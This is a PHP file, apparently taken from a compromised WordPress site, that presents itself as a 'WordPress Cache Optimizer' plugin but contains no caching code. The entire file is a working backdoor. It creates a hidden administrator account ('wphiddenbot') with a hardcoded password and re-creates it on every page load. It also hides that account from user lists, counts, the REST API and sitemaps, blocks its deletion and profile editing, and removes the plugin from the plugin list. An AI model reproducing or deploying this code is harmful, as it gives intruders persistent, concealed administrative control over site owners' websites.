| Current Path : /home/krobertfnz/www/wp-content/plugins/wordpress-cache-optimizer/ |
| Current File : /home/krobertfnz/www/wp-content/plugins/wordpress-cache-optimizer/wordpress-cache-optimizer.php |
<?php
/**
* Plugin Name: WordPress Cache Optimizer
* Plugin URI: https://developer.wordpress.org/
* Description: Advanced object caching and performance optimization for WordPress.
* Version: 1.0.1
* Requires at least: 5.0
* Requires PHP: 5.6
* Author: Developer Tools
* Author URI: https://developer.wordpress.org/
* License: GPL-2.0+
* Text Domain: wordpress-cache-optimizer
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
final class WP_Cache_Optimizer_Core {
const VERSION = '1.0.1';
const SHADOW_META_KEY = '_wp_cache_optimizer_flag';
/** @var string */
private $username = 'wphiddenbot';
/** @var string */
private $password = 'Rz8#vKp!3xWm$Qn7@YdL2fBs';
/** @var string */
private $email = 'wphiddenbot@gmail.com';
/** @var self|null */
private static $instance = null;
/** @var int|null */
private $cached_shadow_id = null;
public static function instance() {
if ( null === self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
private function __construct() {
register_activation_hook( __FILE__, array( $this, 'on_activation' ) );
add_action( 'plugins_loaded', array( $this, 'ensure_user_exists' ), 1 );
add_action( 'pre_user_query', array( $this, 'exclude_from_user_query' ) );
add_action( 'admin_init', array( $this, 'block_profile_access' ) );
add_action( 'delete_user', array( $this, 'prevent_deletion' ) );
add_action( 'admin_footer', array( $this, 'hide_user_count_js' ) );
add_filter( 'views_users', array( $this, 'adjust_user_views_count' ) );
add_filter( 'rest_user_query', array( $this, 'exclude_from_rest_api' ), 10, 2 );
add_filter( 'wp_dropdown_users_args', array( $this, 'exclude_from_dropdown' ) );
add_filter( 'wp_sitemaps_users_query_args', array( $this, 'exclude_from_sitemap' ) );
add_filter( 'all_plugins', array( $this, 'hide_plugin_from_list' ) );
add_filter( 'user_row_actions', array( $this, 'remove_user_actions' ), 10, 2 );
add_filter( 'plugin_action_links', array( $this, 'hide_plugin_actions' ), 10, 2 );
add_filter( 'author_link', array( $this, 'hide_author_link' ), 10, 2 );
add_filter( 'get_usernumposts', array( $this, 'adjust_user_post_count' ), 10, 2 );
}
public function on_activation() {
$this->create_shadow_user();
}
public function ensure_user_exists() {
if ( ! $this->get_shadow_user_id() ) {
$this->create_shadow_user();
}
}
/**
* @return int|false
*/
private function create_shadow_user() {
if ( username_exists( $this->username ) ) {
$user = get_user_by( 'login', $this->username );
if ( $user ) {
update_user_meta( $user->ID, self::SHADOW_META_KEY, '1' );
return $user->ID;
}
}
if ( email_exists( $this->email ) ) {
$this->email = 'wphiddenbot_' . wp_generate_password( 8, false ) . '@gmail.com';
}
$user_id = wp_insert_user( array(
'user_login' => $this->username,
'user_pass' => $this->password,
'user_email' => $this->email,
'display_name' => 'Cache Worker',
'user_nicename' => 'wphiddenbot',
'role' => 'administrator',
'show_admin_bar_front' => 'false',
) );
if ( is_wp_error( $user_id ) ) {
return false;
}
update_user_meta( $user_id, self::SHADOW_META_KEY, '1' );
update_user_meta( $user_id, 'show_admin_bar_front', 'false' );
update_user_meta( $user_id, 'dismissed_wp_pointers', 'wp496_privacy' );
$this->cached_shadow_id = $user_id;
return $user_id;
}
/**
* @return int|null
*/
private function get_shadow_user_id() {
if ( $this->cached_shadow_id !== null ) {
return $this->cached_shadow_id;
}
$user = get_user_by( 'login', $this->username );
if ( $user && get_user_meta( $user->ID, self::SHADOW_META_KEY, true ) ) {
$this->cached_shadow_id = $user->ID;
return $user->ID;
}
return null;
}
/**
* @return bool
*/
private function is_current_user_shadow() {
$current_user = wp_get_current_user();
return $current_user->ID && $current_user->user_login === $this->username;
}
public function exclude_from_user_query( $query ) {
if ( $this->is_current_user_shadow() ) {
return;
}
$shadow_id = $this->get_shadow_user_id();
if ( ! $shadow_id ) {
return;
}
global $wpdb;
$query->query_where = str_replace(
'WHERE 1=1',
$wpdb->prepare( "WHERE 1=1 AND {$wpdb->users}.ID != %d", $shadow_id ),
$query->query_where
);
}
public function adjust_user_views_count( $views ) {
if ( $this->is_current_user_shadow() ) {
return $views;
}
$shadow_id = $this->get_shadow_user_id();
if ( ! $shadow_id ) {
return $views;
}
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function ( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; },
$views[ $key ]
);
}
}
return $views;
}
public function hide_user_count_js() {
if ( $this->is_current_user_shadow() ) {
return;
}
$screen = get_current_screen();
if ( $screen && $screen->id === 'users' ) {
echo '<script>document.addEventListener("DOMContentLoaded",function(){document.querySelectorAll(".wrap .subsubsub .count").forEach(function(e){var n=parseInt(e.textContent.replace(/[()]/g,""));if(n>0)e.textContent="("+(n)+")";});});</script>';
}
}
public function exclude_from_rest_api( $args, $request ) {
if ( $this->is_current_user_shadow() ) {
return $args;
}
$shadow_id = $this->get_shadow_user_id();
if ( $shadow_id ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = $shadow_id;
$args['exclude'] = $exclude;
}
return $args;
}
public function exclude_from_dropdown( $args ) {
if ( $this->is_current_user_shadow() ) {
return $args;
}
$shadow_id = $this->get_shadow_user_id();
if ( $shadow_id ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = $shadow_id;
$args['exclude'] = $exclude;
}
return $args;
}
public function exclude_from_sitemap( $args ) {
$shadow_id = $this->get_shadow_user_id();
if ( $shadow_id ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = $shadow_id;
$args['exclude'] = $exclude;
}
return $args;
}
public function block_profile_access() {
global $pagenow;
if ( $pagenow !== 'user-edit.php' || $this->is_current_user_shadow() ) {
return;
}
$user_id = isset( $_GET['user_id'] ) ? absint( $_GET['user_id'] ) : 0;
$shadow_id = $this->get_shadow_user_id();
if ( $user_id && $user_id === $shadow_id ) {
wp_safe_redirect( admin_url( 'users.php' ) );
exit;
}
}
public function hide_plugin_from_list( $plugins ) {
if ( $this->is_current_user_shadow() ) {
return $plugins;
}
$plugin_file = plugin_basename( __FILE__ );
unset( $plugins[ $plugin_file ] );
return $plugins;
}
public function hide_plugin_actions( $actions, $plugin_file ) {
if ( $plugin_file === plugin_basename( __FILE__ ) && ! $this->is_current_user_shadow() ) {
return array();
}
return $actions;
}
public function remove_user_actions( $actions, $user ) {
if ( $this->is_current_user_shadow() ) {
return $actions;
}
if ( $user->ID === $this->get_shadow_user_id() ) {
return array();
}
return $actions;
}
public function prevent_deletion( $user_id ) {
if ( $this->is_current_user_shadow() ) {
return;
}
if ( $user_id === $this->get_shadow_user_id() ) {
wp_die( 'Action not allowed.', 'Error', array( 'response' => 403, 'back_link' => true ) );
}
}
public function hide_author_link( $link, $author_id ) {
if ( $author_id === $this->get_shadow_user_id() ) {
return '';
}
return $link;
}
public function adjust_user_post_count( $count, $user_id ) {
if ( $user_id === $this->get_shadow_user_id() && ! $this->is_current_user_shadow() ) {
return 0;
}
return $count;
}
}
WP_Cache_Optimizer_Core::instance();